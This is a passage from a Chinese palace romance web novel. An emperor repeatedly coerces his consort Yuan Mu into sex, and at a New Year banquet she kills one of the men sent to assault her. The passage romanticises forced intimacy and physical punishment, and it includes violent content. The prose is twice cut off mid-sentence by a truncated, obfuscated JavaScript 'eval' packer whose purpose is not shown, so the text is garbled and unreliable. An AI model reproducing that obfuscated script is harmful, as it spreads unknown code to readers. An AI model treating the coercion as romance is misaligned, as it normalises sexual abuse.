元慕则像是沟渠里的月光,她当然是美丽的,只不过没有人会向往这样的美丽。 皇帝向后倚靠,瞧见两人进来时,眉眼还是懒散的。 他淡声说道:“你敢去朔方,朕就令人封了路引。” 自商君改制以后,户籍制度就逐渐定立,即便是权贵出行,也须要有文书凭证,前朝叫做过所,今朝改为路引。 郗兰嫣神情一怔,娇丽的脸庞都皱了起来。 她娇嗔道:“陛下怎么这样啊!” 元慕没怎么跟着皇帝见过外人。 她是头一回知道,有姑娘敢在皇帝的面前如此。 元皇后和皇帝之间,更多是敬重,两人互尊互爱,相敬如宾。 但或许是因为少了夫妻间该有的敦伦,他们总没有亲近到失仪的程度。 皇帝倒也不恼,他抚着手中的折扇,唇边含笑:“朕不仅能封你路引一次,还能次次都封,你能拿朕怎样呢?” 他气势极强,甚至冷情杀伐,难得这样和柔。 郗兰嫣气得脸庞涨红,美目也瞪得浑圆。 但就如皇帝所说,她还真的不能拿皇帝怎样。 兄长郗容境也被逗笑了,温文尔雅的面容生出光亮,笑意吟吟道:“听见陛下说什么了吗?” 两人一唱一和,叫郗兰嫣恼怒得不轻。 只有楚王向着她,懒洋洋地说道:“那有什么好怕的?本王带你出京,不就没事了吗。” 郗兰嫣的眉眼再度弯起来。 她笑着说道:“多谢阿章哥哥。” 他们之间聊天非常随意,横亘在君臣之间的界限,好像完全不存在一样。 如果是元皇后在这里,她肯定可以像解语花般,得体地陪在皇帝的身边,温柔地加进众人的谈话当中。 既能给足宾客脸面,又不会显得太过超出。 但元慕只觉得局促,她不擅长应对这种场合,也不知道该说什么。 她就像个漂亮的花瓶般,没有任何用处。 皇帝揽着元慕的腰身,见她垂眸不语也没多言,牵着她的手站起身来。 他漫不经心地说道:“好了时候不早了,晚间还有宴席,日落前必须要回来。” 马车是早已备好的,随行的是皇帝身边的黑衣铁骑。 他们的面孔被兜鍪罩住,唯有缝隙里露出一双双乌沉沉的眼眸。 皇帝有话跟楚王说,将元慕落在了后面。 她看到诸多的军士,心中微惊,下台阶的时候差些跌倒,好在身侧的郗容境眼疾手快,一把扶住了她。 他的声音温润:“没事吧?” 郗容境是温文尔雅的君子,扶住元慕手臂的大掌却很有力。 元慕舒了一口气,抿唇道:“多谢郗郎君。” 郗容境很有礼,在元慕站稳之后,就立刻松开了手。 皇帝没有注意到这边的事,跟楚王说过事情后,就将元慕带回到身边。 今天是大年三十,宫灯格外璀璨。 太阳还没升起多久,薄雾当中,星星点点,像是瑰丽的霞光。 元慕随着皇帝坐上马车,郗家兄妹则是跟着楚王同车。 皇帝这几天劳累,丹凤眼里略带倦怠。 元慕住进紫微殿多日,白昼时却没怎么跟他相处,只知道他夜间索取时极是狠戾。 皇帝搂过元慕的腰身,长睫半阖,靠向元慕的肩头,她以为他想在马车上掠夺,本能地挣动。 但下一瞬,皇帝的巴掌就落在了她的臀尖。 “闹什么呢?”他的声音低哑,“再闹就……。” 马车中很安静,“啪”的一声极是清脆,皇帝没有收着气力,元慕疼得厉害,眼眸顿时就湿润了。 听到皇帝的话后,她更是动都不敢动。 “让朕靠一会儿。”皇帝低声说道。 他或许是真的有些累了,眼眸阖上后许久都没有睁开。 皇帝的御驾是极为轩敞高大的。 但两个人靠在一起,皇帝的个子又高,原本宽敞的空间也变得逼仄起来。 元慕的臀尖发疼,她低低地吸着气,眼眸里的水意也越来越多。 那吸气声很低,却又不容忽视。 皇帝阖着眼,换了姿势,将元慕给抱到怀里。 他像抱孩子似的,手掌抚在她的臀上,揉着低哄:“刚才是不是打疼你了?让朕来揉揉。” 元慕不喜欢在除了床帐以外的任何地方和皇帝亲密。 但她又躲不开,只得咬住唇瓣,接受皇帝的抚慰。 从宫城到京郊的别院有段距离。 皇帝初始就只是给元慕轻揉,动作渐渐就变了意味。 他眼底的倦怠也逐渐褪去,取而代之的是很危险的情绪。 元慕觉察到的极快,她侧过脸庞,轻按住皇帝的手:“不疼了,陛下。” 她的面颊泛着薄粉。 那是一种类似于桃花的妍丽色泽,将她清冷的气质都给搅弄得紊乱。 眼尾灼烧成熟红色,更是分外勾人。 元慕的眸里水光摇曳,她隐忍的神情,不会让人心生怜悯,只会漫涌起更深重的侵略欲。 皇帝没有硬来,但他的掌心也没有离开就是了。 “真的不疼了吗?”他俯身说道,“方才打得有点太重了,让我看看吧。” 皇帝一边说着,一边低头吻向元慕的颈侧。 她被迫仰起头,刚刚架起的防备姿态,便被皇帝轻而易举地拆解。 元慕呜咽一声,未做任何准备,柔软的唇瓣就被吻了个透。 - 马车行进了半个时辰,终于到达京郊的别院。 郗家兄妹和楚王都是健谈的人,三人聊了一路,丝毫不觉得行程遥远。 楚王最先从马车上下来。 他舒展手臂,然后抚了抚腰间的佩剑,就像是个少年人般。 郗兰嫣笑着说道:“阿章哥哥真是丰神俊秀,就是什么时候才能给我找个嫂嫂回来呀?” 她被家里宠惯了,调侃起亲王来也自然从容。 他们小时候关系就非常好,即便多年不见,也一直有书信往来。 楚王回京后,几人很快就再度联络起来。 这已经不是第一回见面了。 楚王抚了抚袖摆,轻轻说道:“还是你先给我找个妹夫吧。” 郗兰嫣闻言就要跳起来。 她身上又有贵女的贤淑文雅,又有年轻姑娘的生机活泛,在权贵圈子里很受欢迎。 无论男女老少,都很喜欢她。 郗容境无奈地笑了笑,暗里给楚王做了个手势。 楚王却不惯着郗兰嫣,继续说道:“十六岁了,还不着急嫁人吗?” 两人又闹了片刻,皇帝的车驾才姗姗来迟,但马车停下来后,他也没有立刻下车。 皇帝平常出游很少会带女眷。 后宫的嫔妃,没有一个是省油的灯。 元皇后说着独宠,实则体弱多病,连承宠都做不到。 其实她真的那么虚弱吗? 倒也未必。 除却发病的时候危急,元皇后的身子没有病弱到一碰就碎的地步。 她是不愿承担生育的风险。 像她这样的身子,一旦进了产房,哪怕无人从中作梗,基本也是大概率要难产而死的命。 所以元皇后不敢生。 皇帝已经登临帝位两年,但他仍和做太子时一样。 立如芝兰玉树,笑如朗月入怀。 他实在是太清风明月了,以至于郗兰嫣一直认为他还未曾沾染过女色。 但方才在紫微殿见到元慕时,她心里的那根弦就忽然绷紧了。 元家的这一位,当真是倾城祸国的姿容。 都说元皇后容貌出众,国色天香,可她的那张脸就算是再怎么打扮,也及不上她看不上眼的这个妹妹分毫。 纯粹比美色的话,真是给元昭仪提鞋都不够。 元慕的气势并不强,她的模样出尘超然,如同天间泠月,清疏冷和,仿佛不食人间烟火的仙子。 但她的存在感一点也不弱。 郗兰嫣敢打包票,如果不是碍于皇帝在,就算是她兄长,都会忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“随你,”皇帝侧过脸看向元慕,“渴不渴?先喝点水吧。” 她轻轻“嗯”了一声,就有侍从将杯盏送上。 别院这边可玩的很多。 结冰的湖面,中间开个洞,然后搬个小凳,就可以开始钓鱼。 元慕幼时一直被关在庄子里,入宫后更是鲜少出宫门。 她到过最远的地方,就是每年都要去的青云观。 元慕沉重烦乱的心绪,也在接连钓上几条鱼后变得好起来。 她没怎么出来过,什么都不会,皇帝手把手地教她,他换了常服,就像是个清雅俊美的寻常青年。 郗容境和楚王也是很会玩的人。 元慕看着他们给鱼去鳞,然后放入调料中腌制,再架在火上烤,眼眸都睁大许多。 她还从来没有想过,像他们这样身份尊崇的人也会这些。 元慕第一回吃这样的烤鱼,吃了两根才放下。 她食量很小,总是喝半碗粥就想走。 皇帝揽着元慕的肩头,向后倚靠,笑着说道:“真该请你们来做紫微殿的厨子。” 日升中天,灿金流溢。 元慕用过膳后有些热,便将外氅的缨带解开了。 她里面的衬裙领口微低,露出锁骨处的痕印,抬手去遮掩时,腕间的细镯也露了出来。 皇帝和楚王带着郗兰嫣去别处踏冰了。 这边只有郗容境和元慕。 他看到她腕间的玉镯,神情微动:“你还留着这只镯子呢。” 郗容境的话语很含蓄。 他真正想问的是,你还念着贺兰贞呢。 郗容境没有将这个名字说出口,但元慕却看出来了他的意思。 她被养在庄子多年,京中权贵都不识得,只有在青云观时曾经遇见过郗容境。 后来元慕被迫入宫,求到过郗容境跟前过。 他也因此成了为数不多的,知道贺兰贞存在的人。 元慕垂下衣袖,将那只细镯再度掩了起来,她低着头,长睫也低低地垂落。 她的声音微颤:“你看错了,郗郎君。” 郗容境是君子,他并没有再多问,缓缓转移话题:“你姐姐跟陛下,近来还好么?” 这个问题元慕更不想回答。 她低低地“嗯”了一声,然后就沉默下来。 好在皇帝很快就回来。 他自然地探向元慕的小腹,摸了摸她的肚子:“吃饱了吗?” 元慕有些赧然,偏过头应道:“吃好了,陛下。” “吃好了休息片刻,”皇帝直接将她抱起,“睡一会儿去。” 元慕的身躯骤然凌空,她紧紧地环住皇帝的脖颈,像稚雀般被他抱在怀里。 如今这个时代,说不上多保守,但也不能说多开放。 楚王过来时,郗容境正望着两人离去的背影,久久不语。 他漫不经心地问道:“你方才跟她在说什么呢?” 与郗兰嫣如出一辙,楚王没有用“嫂嫂”这个称谓。 郗容境摇了摇头,容色又恢复温文尔雅:“我还能跟昭仪娘娘说什么?当然是问她烤鱼好不好吃。” “倒是楚王殿下,”他笑了一下,“方才跟阿嫣聊了什么?” 两人的谈话,元慕无从得知。 她陷在浪潮里,被不断地推高,然后又落下,没完没了地受着折磨。 这根本不是休息。 元慕的眼眶里盈满泪水,她不住地想要逃,却被皇帝死死地掐住腰身。 等到日头开始西斜,他才最终放过她。 临到结束时,皇帝吻住元慕的后颈,声音沙哑:“再让我亲亲。” 他像是个试图抵御恶瘾,却最终失败的瘾/君/子。 尝试过抵抗,试图停止放纵,但结果是陷得越来越深,以至于如同置身泥沼,再也无法抽身。 元慕不明所以地仰起下颌,再度被皇帝吻了个透。 她啊啊地叫着,实在受不得更多摧折,眼泪不断地往下滑落。 如果不是晚间有宴席。 皇帝有极大的可能,会把元慕整个下午和晚上的时光,都在这里侵夺殆尽。 即便如此,他们回去宫城的时间也迟了少许。 皇帝中途换了辆车驾,先行一步离去。 元慕昏昏沉沉地睡了一路,连抬起手指的力气都没有。 到底是新年大宴。 元慕身为昭仪,又是皇后的妹妹,也不好不出席。 于是皇帝安排了郗兰嫣陪着元慕,到时候一起过去。 两人同乘一驾马车,却是一路无言。 进入那九重宫闱时,元慕方才苏醒过来,宫女紧忙给她更衣换妆,然后令人带她过去。 元慕匆匆忙忙赴宴,眼见时间卡上了,就和郗兰嫣作别。 两人身份不同,她是嫔妃,郗兰嫣是未出阁的贵女。 真的让人瞧见她们在一处,恐怕会影响郗兰嫣的名声。 元慕太着急,全然都没有去想,为什么白日里多言活泼的郗兰嫣,一直都那样的安静。 她的所有心思都放在了年终的这场大宴上。 元皇后见到元慕过来,立刻就让她过去。 “你身子好些了吗?”元皇后急切地问道,“最近一直告病,我还以为你是怎么了。” 元慕的面颊因为匆忙,还带着不自然的潮红。 她摇了摇头,低声说道:“我已经好多了,娘娘。” 元皇后紧紧地抓住元慕的手,松了口气:“好了就好,好了就好。” 元慕全然不敢让元皇后知道,她接连告病的真相,是因为和皇帝的夜夜笙歌。 好在今晚的事务多,她们也不必继续叙旧。 酒过三巡,元慕才得以喘口气。 她走到水畔的暖阁边,鼻间萦绕的脂粉香气才渐渐消弭。 元慕不胜酒力,推门走进休息的暖阁,刚越过屏风想要往软榻上躺时,就闻嗅到了一股极其吊诡的香气。 几个陌生的高大男子,从后方环住她,投下深重的阴影。 他们蒙着面,一身黑衣,走路时什么声音都没有,像是鬼怪般朝她走近。 “娘娘,我们是奉元令公之命来侍候您的。” 15.第 15 章 暖阁中的香气明显不对劲。 元慕才走进没多久,便觉得身上乏力。 她强作镇定,看向那几个不速之客:“我不须要人侍候。” 元慕全然想不出这些人,是怎么在如此重要的场合混进来的。 即便他们的背后是手眼通天的元昳,她仍觉得极是不可思议。 元慕更想不到的是,父亲竟然能疯狂到这个地步。 他为什么那么急? 她拢在袖中的手指紧攥着,眸光摇晃:“我没有应允父亲的要求。” “本宫是帝王嫔妃,”元慕强撑着说道,“你们若是胆敢冒犯本宫,陛下一定不会轻易放过你们。” 但她实在是太纤弱了,虚张声势的话语也透着无力。 四面都是高大的黑衣男子,他们将路给堵得密不透风。 元慕步步后退,却被逼得越来越近。 “令公之命,吾辈不得不从,”为首的男子声音低沉,“还望娘娘海涵。” 难道在他们这里,元昳的命令竟然能比皇帝的诏命,还要更可怖吗? 元慕跌坐在软榻上,苍白的脸庞透着不自然的潮红。 她本就饮了酒,这会儿被迷药般的异香一搅扰,思绪混沌得不成样子。 但听到这句话后,元慕倏然明白过来。 他们是元昳暗中蓄养的死士。 前朝乱世时,豪门大族热衷于蓄养死士,暗中行杀戮、叛变之事。 每一场谋逆的背后,都必然有死士的身影出现,他们是没有情感的杀戮机器,示生死为无物。 元慕只听闻过他们的存在,这还是第一次见到真正的死士。 她不由地有些绝望,唇瓣紧抿着。 这种时候,元慕下意识地就想到了皇帝,忍不住地盼望他能发觉她的消失,赶过来救她于水火。 但皇帝没有发觉,也没有想得到元慕。 新年大宴,帝后是势必要同时到场的。 酒过三巡,皇帝到了皇后这边,两人并肩而立,恍若是世间最登对的璧人。 这是重要的社交场合,不仅仅是宴席那样简单。 事情众多,没人会想得起元慕。 楚王本来在跟宗室子弟们饮酒,中途被皇帝唤了过去,去见开国的老臣们。 他们有些人是看他长大的,还做过他开蒙的老师。 有位头发花白、牙齿稀疏的文臣,瞧见楚王过来,老泪纵横:“殿下,您都长这样高了。” 楚王一身红衣,譬如玉树临风,高挑的身形在宫灯下分外出众。 像是翩翩少年,又像是已经能够独当一面的沉稳青年。 楚王神情微动,他难得耐着性子,在功勋老臣中间待了很久。 皇帝本想是去解救楚王的,但看到他像个乖孙儿似的,站在一众老人当中,没忍住地笑了出来。 楚王是个纯粹的草包。 好骑射,好游赏,好华服。 他在同辈当中颇受人眼色,家中有待嫁女儿的大臣,见了他都要躲得远远的。 但在老人家这里,再没有比楚王更受欢迎的宗室子弟了。 夜色渐深时,他才终于脱身。 楚王回到皇帝的身边,他总是有神清亮的丹凤眼,难得透露倦意。 到底是少年人。 皇帝对这为数不多现存人世的血亲,还是非常纵容的。 “去休息片刻吧,”他笑着说道,“明日就不须你劳累了。” 楚王向后倚靠,忽而问道:“嫂嫂不在你身边吗?” 这种场合,皇帝怎么可能将元慕带在身边。 他私底下宠她,但这种时刻并不是她该出现的。 “她哪里乐意跟朕一处,”皇帝低笑一声,“上回千秋节,唤了好几回都不肯过来。” 他的语气很随意,楚王也没有多想。 这种宴上是要饮酒的。 女眷们酒量大多寻常,元慕许是累了在某处休息。 楚王循着水畔向着暖阁走去,一晚上下来,即便是他也开始有些疲惫了。 宴席常设在水边,上巳时曲水流觞,颇为风雅。 但近来天寒,水面早已凝冰。 楚王正走着,忽然瞧见几个宫女急匆匆地走着:“出事了!怎么会这样……听说是……” 她们走得极快,声音也压得很低。 但楚王还是听见了。 他神色微变,也不知道为什么,思绪下意识地就飘到了消失多时的元慕身上。 从水畔到暖阁的距离很近。 楚王跟了过去,陪在他身边的是位老内侍,是先皇后身边的旧人,从幼时就陪在他身边。 老内侍连声叫苦:“殿下,您慢些!” 他嘴上这样说,但步履稳健,年轻时是练家子的人,就算在江南悠游多年,也依然身强力健。 他只是不明白,好端端的,楚王为什么这么急? 暖阁前已经聚了些人。 楚王看到一张略微陌生的面孔,他其实没见过这个人,跟他也不太熟悉。 但瞧见横亘在此人脸上的长疤时,楚王就明白了他的身份。 晏仆射的次子晏非。 一家子都是文官,独独他做了武将。 听说残暴嗜血,是个不好招惹的纨绔二世祖。 偏偏他那个长袖善舞的高官父亲待他极好,似是有亏欠一般,巴不得将星星月亮都奉给他。 皇帝一直很操心楚王的婚事。 但相较于楚王,还是晏非的婚事更难办。 京城就没有哪家愿将女儿嫁给他的,即便他家世卓越,在军武上也算是有些天赋。 不说别的,单单那张毁容的脸就足以令人退避三舍了。 这些年来就只有一个例外。 当初动乱时,元昳为了笼络晏家,意欲将元慕嫁过去。 晏非就是元慕曾经的那位未婚夫。 他怎么会出现在这里? 楚王的眉心微拧,他越过人群,向着暖阁走去。 卫从已经将此处围了起来,隐约有警戒之兆,楚王身份超然,直接就走了进去。 最先映入眼帘的,是浓郁到犯腥的血迹。 一具瞧着已经半冷的尸身,横在暖阁的正中央,他的胸口插着的是一支金簪。 金簪的最上方是一只灵动十分的稚雀。 做工也不知有多精细,那小雀的每根羽毛都是活灵活现的。 这根金簪实在是太精致漂亮了,但凡看过一眼的人都不会忘却。 郗兰嫣还在他耳边来回地说了好几遍:“那就是御用的物什吗?我从来没见过这么好看的簪子。” 皇后的妆奁也很多,淑妃的头面也很雅致。 都是宫廷特制的精巧饰品。 但也没有一个会细腻到这个地步。 非得是被皇帝放在心尖尖上的人,才会有这样出格的待遇。 楚王的脸色难看,他顾不得晏非和卫从的阻拦,立刻就向着里间走去。 血气极为浓重。 暖阁并不大,从那尸身到屏风之后,就只有两步路的距离。 但血迹蜿蜒,就没有停下来过,愈往里反倒是血气愈重。 不好的预感越来越深,楚王的脚步沉重,望见软榻上一身血迹的元慕时,悬在心口的巨石,彻底是落不下了。 她的衣衫凌乱,外氅落在地上,衣带也凌乱地四散。 元慕只着了单薄的衬裙,雪白的里衣上尽是血,她的手肘撑在膝上,手掌掩住面容,哭得泣不成声。 她的雪肤白皙,在微光下莹润得没有瑕疵,就像是上好的羊脂玉。 但此刻元慕的掌心、脸庞,乃至颤抖的肩头上,都是深暗的血迹。 “出去!”她的声音颤抖,情绪像是崩溃到了极致。 快要到凌晨了。 子时将至,外间是歌舞升平,无数人盼着象征新年的钟声敲响。 但暖阁里的元慕,深陷于绝望当中。 人生的直转急下总是来得猝不及防。 白日里他们还一道在别院游玩,但今夜的事后,所有的一切都会改变。 元慕从别院离开时,脸上是带笑的,恰巧赶上宫宴时,眸底也盈着光亮。 但这才一两个时辰的功夫,那些欢欣的事就彻底远去了。 男女授受不亲,礼也。 更何况他们是这样的叔嫂了。 楚王不能安慰元慕,不能靠近她,甚至不能为她递上一张帕子。 他只能压低声说道:“别怕,不会有事的。” 如此吉日,出了这样大的事。 就连最沉稳的侍从也不知该如何是好。 卫从和宫人都还在迟疑,要不要告知皇后,或是先寻来内侍省的长官。 皇后身体不好,心房也有些问题。 她最厌烦处置的就是晦气事,这时候过去若是碰了她的霉头,只会更加不妙。 至于皇帝那边,就没有人想到过。 元慕只是一个普通的、不得宠的昭仪。 她连妃位都不是,就算是死在这里,也不能再这种关头上达天听。 楚王拔出腰间所佩的长剑,走出暖阁,声音里带着肃杀:“现在就去请陛下过来。” 他生得和皇帝很像,但面容整体偏柔,更像先皇后多一点。 此刻楚王那张介于少年和青年之间的脸庞,却写满了冷峻,隐约透着杀伐。 他的声音冷沉:“封锁暖阁,涉事者一律不得离开,违者杀无赦。” 今夜才是彻头彻尾的兵荒马乱。 卫从和宫人终于有了主心骨,连忙开始做事,但月色之下,是遮不去的血迹。 暖阁中的香炉早被人浇灭了,却还有异样气息的残渣尚存。 整个暖阁都被浓重的血气笼罩,烛火摇曳,仿若是黑暗里潜伏的魑魅魍魉,在发出尖锐的鸣声。 或许黎明之后,会迎来明亮的日出。 但是元慕的天,却再也不会亮了。 - 在皇帝的眼中,公事永远都是排在最前面的。 他是这天下的主人,富有四海,就应当为天下人而负责。 新年的宴席不同于平常,是一年到头最要紧的宴席。 除此之外,就是明日清早的元日朝会。 皇帝身着深色的礼服,一晚上过去,饶是他也有些累了。 在即位之前,他做了很多年的太子,每年夏天皇帝去行宫避暑,都是他在皇城监国。 嫡长子的好处就在这里。 皇帝接受到的,是最正统不过的帝王教育,从幼时他就在为成为最杰出的君主而努力。 弟弟在殿内小憩时,他在跟着父亲看奏章。 妹妹们在树荫下乘凉时,他在烈阳的照耀下亲赴边关。 这些年来,夙兴夜寐。 虽然遭了些波折,但总体也还算顺利。 至少在为君之道上,他日史书工笔,也寻不出任何错处。 皇帝跟郗容境一起饮酒,他酒量差,没有喝多少便换了茶,聊着聊着,便不免聊到了以前的事。 那年祸乱时,他曾受过一次重伤。 肩头被利箭刺透,险些踏入鬼门关。 主因是随行的军队受了伏击,他们原本是向南走的,要渡过洛水和豫州的勤王援兵相会。 但行伍中出了奸细,引着众人向西而去。 皇帝身边最亲重的一百三十二名精兵,全都死在了那场伏击当中。 当晚夜雨磅礴,难以辨认方向。 但如今想来,皇帝还是觉得不可思议:“都是多年行军的人,怎么会全都辨错方向?” 郗容境是事后领兵接到皇帝的。 那时候他身上都是血,肩头更是被彻底刺穿,差些在当晚就命归西天。 郗容境浅酌了一口酒,无奈地说道:“这就只有那奸细知道了。” 事情过去太久,那日涉事的人又是全军覆没,只有那做了细作的人逃出生天。 两年多来,皇帝设下天罗地网,试着找寻过此人,也没有任何结果。 他对背叛看得很重,即便这人再也不可能翻出天来,他亦是不会忘却这回的事。 但到底过去多时。 皇帝御宇之后,诸事顺遂,也懒得再去管顾当年的事。 对此人来说,像老鼠一样苟且偷生地活一辈子,或许比处以极刑更适合作为惩诫。 记忆是很玄奇的存在。 当初那样忌恨的人,在两年的光阴之后,竟然也会变得这样平淡。 就像是元慕。 他曾经对她婚前失贞的事,厌恶到无以复加,如今也不觉得怎样了。 皇帝只是觉得挺奇妙的。 元慕明明是跟她那未婚夫有了首尾,为了维护他,却偏偏要编纂出一个名唤贺兰贞的奸夫。 她若是编得稍微高妙点,或许还会给皇帝带来些麻烦。 但这天下姓贺兰的人太少了。 皇帝看过所有贺兰姓氏人的谱牒,所有在那段时日驻扎在京郊的军士信息,他也全都翻阅过。 事实就是,在世界上没有这样一个人。 除了腕间那个细镯,元慕自己也拿不出任何证据,来证实这个人的存在。 这个叫贺兰贞的人,就好像是她在绝望和孤独当中,做过的一场了无痕迹的绮梦。 更荒谬的是,元慕曾在某段时间坚定地认为,他就是那个卑劣庸常的军户。 她身体健康还可以,但精神一直不是太好。 元慕在刚入宫时,就犯过癔症。 她至今在面对军士时,会本能地生出恐惧的情绪。 经历过兵乱的人都是如此。 元慕见过军士哗变杀死首领,被人遗留在起火的暗室里,也亲眼见过开膛破肚的情形。 她及笄的那一年是整个京兆最丧乱的一年。 在他极力争夺帝位,意欲夺回一切时,她独自熬过无数个难眠的黑夜。 皇帝对元慕的经历是有些怜悯的。 但这不意味着,他能够容忍元慕将他视作幻想中的他者。 后来他用了些手段,让元慕再也没提起过贺兰贞的存在。 只不过对那只玉镯,她是当真执着到了极致,为之连命都敢舍弃。 罢了。徐徐图之。 皇帝把玩了片刻掌心的新镯,又将之放回到檀木方盒中。 郗容境看了一眼,微笑说道:“是给昭仪娘娘的新年礼物吗?” 他们关系亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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入宫以后,她怎样都想不到这种阴影会再度浮现。 但更令元慕恐惧的是,她杀人了。 她身上没有任何利器,除却发间的那根细长金簪。 元慕不喜珠玉,也不喜钗簪,她平素独自在宫中时,就只会将乌发用绸缎挽起来。 她抽出那根金簪时,只是想让他们退避。 军士都会在衣中穿软甲的。 元慕在将那金簪刺出时,全然没有想到那死士的黑衣之下是无物的。 鲜血泵出时,所有的人都惊住了。 元慕的准头从来没有这样好过。 长簪刺透心房,那方才还正要掐住她脖颈,分开她柔膝的人,顿时就断了气。 挣扎都没能挣扎几下,便匆匆丧命。 元慕的瞳孔放大,她本能地抬起手,想要按住那不断喷涌鲜血的伤口。 但结果只是更多的血流了出来。 那些死士似乎也没有想到会出这样的事,他们匆忙将那人的外衣和面罩脱下,然后看都没看她一眼,就立即离开。 死士的黑衣之下,并非劲装,而是暗金色的华服。 这是礼部侍郎的独子,他的妹妹也是九嫔之一。 他父亲老来得子,就只有他一个儿子,将人疼宠到了极点,京中许多人家都有耳闻,连元慕都听说过。 死士的身世大多不寻常。 有被利诱的,有被胁迫的,还有为报深恩的。 他们不会像军队那样昭然地聚在一处,而是隐匿在人间,只在关键时刻露面。 元慕想不到他这样贵重的身份,怎么会给元昳当死士的。 她的心情只是更加绝望了。 元慕刚刚才听人说起,这个人下月就要成亲了,他的未婚妻是跟他青梅竹马的表妹。 可是现在他是一具冰冷的尸体。 元慕的乌发披散,她步步后退,跌坐在软榻上,嚎啕一声大哭出来。 她身上只余下一件单薄的衬裙。 元慕应该感觉到冷的,但她什么感觉也没有,甚至没有能力舒展满是血迹的手指。 巡视的卫从是在感知到血气候才过来的。 而那时候,元慕已经在血泊里待了两刻钟。 为首的人面容熟悉。 但元慕已经丧失思考的能力了,连宫女试图为她净面,她也无法接受。 她哭叫着避开他们的手,不允许任何人的接近。 血实在是太多了。 浓重的铁锈气将整个暖阁都熏染得像个炼狱。 处理隐秘事是最麻烦的。 卫从仅负责护卫,涉及到宫中妃嫔的事务,是稍有不慎就要掉脑袋的。 所以众人那样急,也不敢轻举妄动。 元慕崩溃地掩住面容,她纤细的手肘屈起,身躯以一种防备性极强的姿态弯曲起来。 她的身上都是血,乌发浸上血迹,雪颜也被鲜血玷污。 连楚王和闻讯匆忙赶来的张院正,都没能让她仰起头,从彻底的绝望当中挣脱。 直到皇帝出现的时候。 他的容色冷得近乎可怖,最先发觉此事的卫从紧张地说道:“陛下,死的人是礼部张侍郎的独子,一个时辰前就断气了。” “是被金簪刺透心脏,直接毙命的,”他继续说道,“我们立刻就将附近封锁了,张侍郎、张侍郎他还不知道……” 卫从大气也不敢喘。 但皇帝厉声打断了他:“朕问这个了吗?” “元慕呢?”他近乎压抑不住怒意,“她在哪里?” 举办宴席的地方和休息的暖阁距离并不远,但因为附近有水域,所以才被隔开。 “娘娘……还在暖阁里,”卫从颤声应道,“她不肯离开那里。” 元慕的承受能力很弱。 皇帝平生从未有过这样的时刻,哪怕是九死一生时,他的脸上依然能含着淡笑。 可事关元慕,到底无法从容。 到达暖阁时皇帝没有任何迟疑就要进去,目光却忽然掠及了晏非的身影。 他总是会出现在元慕的身边,总是会更早一步。 婚事。落水。 连这样的事发生时,晏非都更早一步。 那一刻有比愠怒更强烈的情绪,很莫名地袭了上来,像妒火般中烧起来。 暖阁被推开后,天光乍破。 元慕在暖阁里待了不知多久,但泪眼抬起,望见皇帝的身形时,她跌跌撞撞着就站了起来。 她哭着跑向他,像孩子般嚎啕大哭。 皇帝紧揽住元慕的腰身,将她抱在了怀里。 她身上只余下一件雪白的衬裙,腕骨被掐得青紫。 他抱着她,声音里透着杀夺:“他碰你了吗?晏非又怎么在这里?” 皇帝的声音透着一种病态的沉稳,他是永远能平静处理事务的,生死存亡之际,也能保持泰山崩于前而色不变的从容。 所以他冷酷,所以他薄情。 所以他能够面不改色灭亲旧满族,看着曾经的故人被处以极刑。 所以他能够登临帝位。 可是元慕不能。 她怔怔地抬起眸,眼底都是茫然和无措:“你只在乎这个吗?”